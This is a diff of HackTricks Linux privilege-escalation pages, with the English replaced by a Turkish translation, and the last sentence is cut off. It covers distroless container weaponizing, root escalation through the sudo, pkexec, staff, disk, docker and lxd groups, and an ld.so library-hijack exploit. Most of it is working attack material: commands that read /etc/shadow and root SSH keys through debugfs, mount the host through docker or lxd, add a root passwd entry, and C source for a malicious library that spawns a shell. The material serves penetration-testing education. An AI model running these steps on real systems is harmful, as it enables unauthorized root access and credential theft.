|
||||
## Weaponizing Distroless
|
||||
|
||||
The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`.
|
||||
Distroless bir konteyneri silahlandırmanın amacı, **sistem üzerindeki yaygın ikili dosyaların eksikliği** ve ayrıca konteynerlerde sıkça bulunan **salt okunur** veya **çalıştırılamaz** gibi korumalarla birlikte **rastgele ikili dosyaları ve yükleri çalıştırabilmektir**.
|
||||
|
||||
### Through memory
|
||||
|
||||
Coming at some point of 2023...
|
||||
2023'ün bir noktasında geliyor...
|
||||
|
||||
### Via Existing binaries
|
||||
|
||||
#### openssl
|
||||
|
||||
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container.
|
||||
\***\*[**Bu yazıda,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) **`openssl`** ikili dosyasının bu konteynerlerde sıkça bulunduğu, muhtemelen konteyner içinde çalışacak yazılım tarafından **gerekli olduğu** açıklanmaktadır.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,13 +1,12 @@
|
||||
# Interesting Groups - Linux Privesc
|
||||
# İlginç Gruplar - Linux Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sudo/Admin Groups
|
||||
## Sudo/Yönetici Grupları
|
||||
|
||||
### **PE - Method 1**
|
||||
|
||||
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
|
||||
### **PE - Yöntem 1**
|
||||
|
||||
**Bazen**, **varsayılan olarak (veya bazı yazılımlar bunu gerektirdiği için)** **/etc/sudoers** dosyası içinde bu satırlardan bazılarını bulabilirsiniz:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -15,48 +14,36 @@
|
||||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Bu, **sudo veya admin grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir.
|
||||
|
||||
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
|
||||
|
||||
If this is the case, to **become root you can just execute**:
|
||||
|
||||
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
### PE - Yöntem 2
|
||||
|
||||
### PE - Method 2
|
||||
|
||||
Find all suid binaries and check if there is the binary **Pkexec**:
|
||||
|
||||
Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmadığını kontrol edin:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
|
||||
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
|
||||
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
|
||||
|
||||
Eğer **pkexec** ikilisinin **SUID ikilisi** olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu bulursanız, muhtemelen `pkexec` kullanarak ikilileri sudo olarak çalıştırabilirsiniz.\
|
||||
Bu, genellikle bu grupların **polkit politikası** içinde yer alması nedeniyledir. Bu politika, temelde hangi grupların `pkexec` kullanabileceğini belirler. Bunu kontrol etmek için:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **sudo** ve **admin** grupları **varsayılan olarak** görünmektedir.
|
||||
|
||||
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
|
||||
|
||||
To **become root you can execute**:
|
||||
|
||||
**root olmak için şunu çalıştırabilirsiniz**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
|
||||
If you try to execute **pkexec** and you get this **error**:
|
||||
|
||||
Eğer **pkexec** komutunu çalıştırmaya çalışırsanız ve bu **hata** ile karşılaşırsanız:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
|
||||
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
|
||||
|
||||
**İzinlerinizin olmaması nedeniyle değil, GUI olmadan bağlı olmadığınız için**. Bu sorun için bir çözüm burada: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2 farklı ssh oturumuna** ihtiyacınız var:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||||
```
|
||||
## Wheel Grubu
|
||||
|
||||
## Wheel Group
|
||||
|
||||
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
|
||||
|
||||
**Bazen**, **varsayılan olarak** **/etc/sudoers** dosyası içinde bu satırı bulabilirsiniz:
|
||||
```
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo ile her şeyi çalıştırabileceği** anlamına gelir.
|
||||
|
||||
This means that **any user that belongs to the group wheel can execute anything as sudo**.
|
||||
|
||||
If this is the case, to **become root you can just execute**:
|
||||
|
||||
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
## Shadow Grubu
|
||||
|
||||
## Shadow Group
|
||||
|
||||
Users from the **group shadow** can **read** the **/etc/shadow** file:
|
||||
|
||||
**shadow** grubundaki kullanıcılar **/etc/shadow** dosyasını **okuyabilir**:
|
||||
```
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
So, dosyayı okuyun ve **bazı hash'leri kırmaya** çalışın.
|
||||
|
||||
So, read the file and try to **crack some hashes**.
|
||||
## Personel Grubu
|
||||
|
||||
## Staff Group
|
||||
|
||||
**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
|
||||
**staff**: Kullanıcıların kök ayrıcalıkları olmadan sisteme yerel değişiklikler eklemelerine izin verir (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne yazabilir"). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'un en yüksek öncelikle çalıştırılacağını gösterir, ayrıcalıklı bir kullanıcı olup olmadığınıza bakılmaksızın.
|
||||
```bash
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
||||
@ -107,11 +86,9 @@ $ echo $PATH
|
||||
# echo $PATH
|
||||
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
```
|
||||
Eğer `/usr/local` içindeki bazı programları ele geçirebilirsek, root erişimi elde etmek kolaydır.
|
||||
|
||||
If we can hijack some programs in `/usr/local`, we can easy to get root.
|
||||
|
||||
Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
|
||||
|
||||
`run-parts` programını ele geçirmek, root erişimi elde etmenin kolay bir yoludur, çünkü çoğu program `run-parts` gibi çalışır (crontab, ssh ile giriş yapıldığında).
|
||||
```bash
|
||||
$ cat /etc/crontab | grep run-parts
|
||||
17 * * * * root cd / && run-parts --report /etc/cron.hourly
|
||||
@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts
|
||||
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
|
||||
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
|
||||
```
|
||||
|
||||
or When a new ssh session login.
|
||||
|
||||
veya Yeni bir ssh oturumu açıldığında.
|
||||
```bash
|
||||
$ pspy64
|
||||
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
|
||||
@ -134,9 +109,7 @@ $ pspy64
|
||||
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
|
||||
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
|
||||
```
|
||||
|
||||
**Exploit**
|
||||
|
||||
**Sömürü**
|
||||
```bash
|
||||
# 0x1 Add a run-parts script in /usr/local/bin/
|
||||
$ vi /usr/local/bin/run-parts
|
||||
@ -155,13 +128,11 @@ $ ls -la /bin/bash
|
||||
# 0x5 root it
|
||||
$ /bin/bash -p
|
||||
```
|
||||
|
||||
## Disk Group
|
||||
|
||||
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
|
||||
|
||||
Files:`/dev/sd[a-z][1-9]`
|
||||
Bu ayrıcalık neredeyse **root erişimi ile eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz.
|
||||
|
||||
Dosyalar:`/dev/sd[a-z][1-9]`
|
||||
```bash
|
||||
df -h #Find where "/" is mounted
|
||||
debugfs /dev/sda1
|
||||
@ -170,57 +141,47 @@ debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
|
||||
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
|
||||
|
||||
Debugfs kullanarak **dosya yazma** işlemi de yapabileceğinizi unutmayın. Örneğin, `/tmp/asd1.txt` dosyasını `/tmp/asd2.txt` dosyasına kopyalamak için şunu yapabilirsiniz:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Ancak, **root'a ait dosyaları yazmaya** çalışırsanız (örneğin `/etc/shadow` veya `/etc/passwd`), "**İzin reddedildi**" hatası alırsınız.
|
||||
|
||||
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
|
||||
|
||||
## Video Group
|
||||
|
||||
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
|
||||
## Video Grubu
|
||||
|
||||
`w` komutunu kullanarak **sistemde kimin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder.
|
||||
|
||||
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
|
||||
|
||||
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
|
||||
|
||||
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da saklanabilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
|
||||
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
|
||||
**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
|
||||
Ardından, Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranı daha iyi gösterenini seçin):
|
||||
|
||||
.png>)
|
||||
|
||||
## Root Group
|
||||
## Root Grubu
|
||||
|
||||
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
|
||||
|
||||
**Check which files root members can modify**:
|
||||
Görünüşe göre varsayılan olarak **root grubunun üyeleri**, bazı **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek **diğer ilginç şeyleri** **değiştirme** erişimine sahip olabilir...
|
||||
|
||||
**Root üyelerinin hangi dosyaları değiştirebileceğini kontrol edin**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
## Docker Grubu
|
||||
|
||||
## Docker Group
|
||||
|
||||
You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
|
||||
|
||||
Ana makinenin kök dosya sistemini bir örneğin hacmine **monte edebilirsiniz**, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar.
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
|
||||
#Ifyou just want filesystem and network access you can startthe following container:
|
||||
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
|
||||
```
|
||||
|
||||
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
|
||||
Son olarak, eğer daha önceki önerilerden hiçbiri hoşunuza gitmiyorsa veya bir sebepten dolayı çalışmıyorsa (docker api firewall?) her zaman **yetkili bir konteyner çalıştırmayı ve ondan kaçmayı** deneyebilirsiniz, burada açıklandığı gibi:
|
||||
|
||||
{{#ref}}
|
||||
../docker-security/
|
||||
{{#endref}}
|
||||
|
||||
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
|
||||
Eğer docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak yetki yükseltme hakkında bu yazıyı okuyun**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
|
||||
## lxc/lxd Group
|
||||
## lxc/lxd Grubu
|
||||
|
||||
{{#ref}}
|
||||
./
|
||||
{{#endref}}
|
||||
|
||||
## Adm Group
|
||||
## Adm Grubu
|
||||
|
||||
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
|
||||
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
|
||||
Genellikle **`adm`** grubunun **üyeleri** _/var/log/_ dizininde bulunan **log** dosyalarını **okuma** izinlerine sahiptir.\
|
||||
Bu nedenle, eğer bu grupta bir kullanıcıyı ele geçirdiyseniz, kesinlikle **loglara göz atmalısınız**.
|
||||
|
||||
## Auth group
|
||||
## Auth grubu
|
||||
|
||||
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
|
||||
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
OpenBSD içinde **auth** grubu genellikle _**/etc/skey**_ ve _**/var/db/yubikey**_ dizinlerinde yazma iznine sahiptir, eğer kullanılıyorsa.\
|
||||
Bu izinler, root'a **yetki yükseltmek** için aşağıdaki istismar ile kötüye kullanılabilir: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,15 +1,14 @@
|
||||
# lxd/lxc Group - Privilege escalation
|
||||
# lxd/lxc Grubu - Yetki Yükseltme
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
|
||||
Eğer _**lxd**_ **veya** _**lxc**_ **grubuna** ait iseniz, root olabilirsiniz.
|
||||
|
||||
## Exploiting without internet
|
||||
## İnternetsiz Sömürü
|
||||
|
||||
### Method 1
|
||||
|
||||
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
|
||||
### Yöntem 1
|
||||
|
||||
Makinenize bu dağıtım oluşturucusunu kurabilirsiniz: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(github talimatlarını takip edin):
|
||||
```bash
|
||||
sudo su
|
||||
# Install requirements
|
||||
@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||
## Using build-lxc
|
||||
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
|
||||
```
|
||||
|
||||
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
|
||||
|
||||
Dosyaları **lxd.tar.xz** ve **rootfs.squashfs** yükleyin, görüntüyü depoya ekleyin ve bir konteyner oluşturun:
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
|
||||
@ -51,23 +48,19 @@ lxc list
|
||||
|
||||
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
|
||||
> Run **`lxd init`** and **repeat** the previous chunk of commands
|
||||
|
||||
Finally you can execute the container and get root:
|
||||
> Eğer bu hatayı _**Hata: Depo havuzu bulunamadı. Lütfen yeni bir depo havuzu oluşturun**_\
|
||||
> **`lxd init`** komutunu çalıştırın ve önceki komut grubunu **tekrarlayın**
|
||||
|
||||
Sonunda konteyneri çalıştırabilir ve root alabilirsiniz:
|
||||
```bash
|
||||
lxc start privesc
|
||||
lxc exec privesc /bin/sh
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
### Yöntem 2
|
||||
|
||||
### Method 2
|
||||
|
||||
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
|
||||
|
||||
Bir Alpine imajı oluşturun ve `security.privileged=true` bayrağını kullanarak başlatın, bu da konteynerin ana dosya sistemi ile root olarak etkileşimde bulunmasını zorlar.
|
||||
```bash
|
||||
# build a simple alpine image
|
||||
git clone https://github.com/saghul/lxd-alpine-builder
|
||||
@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true
|
||||
# mount the /root into the image
|
||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,83 +1,72 @@
|
||||
# ld.so privesc exploit example
|
||||
# ld.so privesc exploit örneği
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Prepare the environment
|
||||
## Ortamı Hazırlama
|
||||
|
||||
In the following section you can find the code of the files we are going to use to prepare the environment
|
||||
Aşağıdaki bölümde, ortamı hazırlamak için kullanacağımız dosyaların kodunu bulabilirsiniz.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="sharedvuln.c"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include "libcustom.h"
|
||||
|
||||
int main(){
|
||||
printf("Welcome to my amazing application!\n");
|
||||
vuln_func();
|
||||
return 0;
|
||||
printf("Welcome to my amazing application!\n");
|
||||
vuln_func();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="libcustom.h"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func();
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="libcustom.c"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func()
|
||||
{
|
||||
puts("Hi");
|
||||
puts("Hi");
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
1. **Create** those files in your machine in the same folder
|
||||
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
|
||||
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
1. **Bu dosyaları** makinenizde aynı klasörde **oluşturun**
|
||||
2. **Kütüphaneyi** **derleyin**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. `libcustom.so`'yu `/usr/lib`'ye **kopyalayın**: `sudo cp libcustom.so /usr/lib` (root yetkileri)
|
||||
4. **Çalıştırılabilir dosyayı** **derleyin**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
### Check the environment
|
||||
|
||||
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
|
||||
### Ortamı kontrol et
|
||||
|
||||
_libcustom.so_'nun _/usr/lib_'den **yüklenip** yüklenmediğini ve ikili dosyayı **çalıştırıp** çalıştıramadığınızı kontrol edin.
|
||||
```
|
||||
$ ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
|
||||
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
Hi
|
||||
```
|
||||
|
||||
## Exploit
|
||||
|
||||
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
|
||||
|
||||
Bu senaryoda **birinin _/etc/ld.so.conf/_ içinde savunmasız bir giriş oluşturduğunu** varsayacağız:
|
||||
```bash
|
||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||
```
|
||||
|
||||
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
|
||||
**Download and compile** the following code inside that path:
|
||||
|
||||
Hassas klasör _/home/ubuntu/lib_ (yazılabilir erişimimizin olduğu yer).\
|
||||
**Aşağıdaki kodu** o yolun içinde indirin ve derleyin:
|
||||
```c
|
||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||
|
||||
@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
|
||||
#include <sys/types.h>
|
||||
|
||||
void vuln_func(){
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
printf("I'm the bad library\n");
|
||||
system("/bin/sh",NULL,NULL);
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
printf("I'm the bad library\n");
|
||||
system("/bin/sh",NULL,NULL);
|
||||
}
|
||||
```
|
||||
Artık **yanlış yapılandırılmış** yolun içinde kötü niyetli libcustom kütüphanesini **oluşturduğumuza göre**, bir **yeniden başlatma** veya root kullanıcısının **`ldconfig`** komutunu çalıştırmasını beklememiz gerekiyor (_eğer bu ikiliyi **sudo** olarak çalıştırabiliyorsanız veya **suid biti** varsa, kendiniz çalıştırabileceksiniz_).
|
||||
|
||||
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
|
||||
|
||||
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
|
||||
|
||||
Bu gerçekleştiğinde, `sharevuln` ikilisinin `libcustom.so` kütüphanesini nereden yüklediğini **yeniden kontrol edin**:
|
||||
```c
|
||||
$ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
```
|
||||
|
||||
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
|
||||
|
||||
Gördüğünüz gibi, **`/home/ubuntu/lib`'den yüklüyor** ve herhangi bir kullanıcı bunu çalıştırırsa, bir shell çalıştırılacaktır:
|
||||
```c
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
@ -114,40 +99,35 @@ I'm the bad library
|
||||
$ whoami
|
||||
ubuntu
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
|
||||
> Bu örnekte ayrıcalıkları yükseltmediğimizi, ancak yürütülen komutları değiştirerek ve **kötü niyetli ikili dosyayı çalıştırması için root veya başka bir ayrıcalıklı kullanıcıyı bekleyerek** ayrıcalıkları yükseltebileceğimizi unutmayın.
|
||||
|
||||
### Other misconfigurations - Same vuln
|
||||
### Diğer yanlış yapılandırmalar - Aynı zafiyet
|
||||
|
||||
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
|
||||
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
|
||||
Önceki örnekte, bir yöneticinin **`/etc/ld.so.conf.d/` içindeki bir yapılandırma dosyasına ayrıcalıksız bir klasör ayarladığı** bir yanlış yapılandırmayı taklit ettik.\
|
||||
Ancak, `/etc/ld.so.conf.d` içindeki bazı **yapılandırma dosyalarında**, `/etc/ld.so.conf.d` klasöründe veya `/etc/ld.so.conf` dosyasında **yazma izinleriniz** varsa, aynı zafiyeti yapılandırabilir ve bunu istismar edebilirsiniz.
|
||||
|
||||
## Exploit 2
|
||||
|
||||
**Suppose you have sudo privileges over `ldconfig`**.\
|
||||
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
|
||||
So, lets create the files and folders needed to load "/tmp":
|
||||
## İstismar 2
|
||||
|
||||
**`ldconfig` üzerinde sudo ayrıcalıklarınız olduğunu varsayalım**.\
|
||||
`ldconfig`'e **konfigürasyon dosyalarının nereden yükleneceğini** belirtebilirsiniz, böylece `ldconfig`'in keyfi klasörleri yüklemesinden faydalanabiliriz.\
|
||||
Şimdi, "/tmp" yüklemek için gereken dosyaları ve klasörleri oluşturalım:
|
||||
```bash
|
||||
cd /tmp
|
||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||
echo "/tmp" > conf/evil.conf
|
||||
```
|
||||
|
||||
Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\
|
||||
And finally, lets load the path and check where is the binary loading the library from:
|
||||
|
||||
Şimdi, **önceki istismarda belirtildiği gibi**, **kötü niyetli kütüphaneyi `/tmp` içinde oluşturun**.\
|
||||
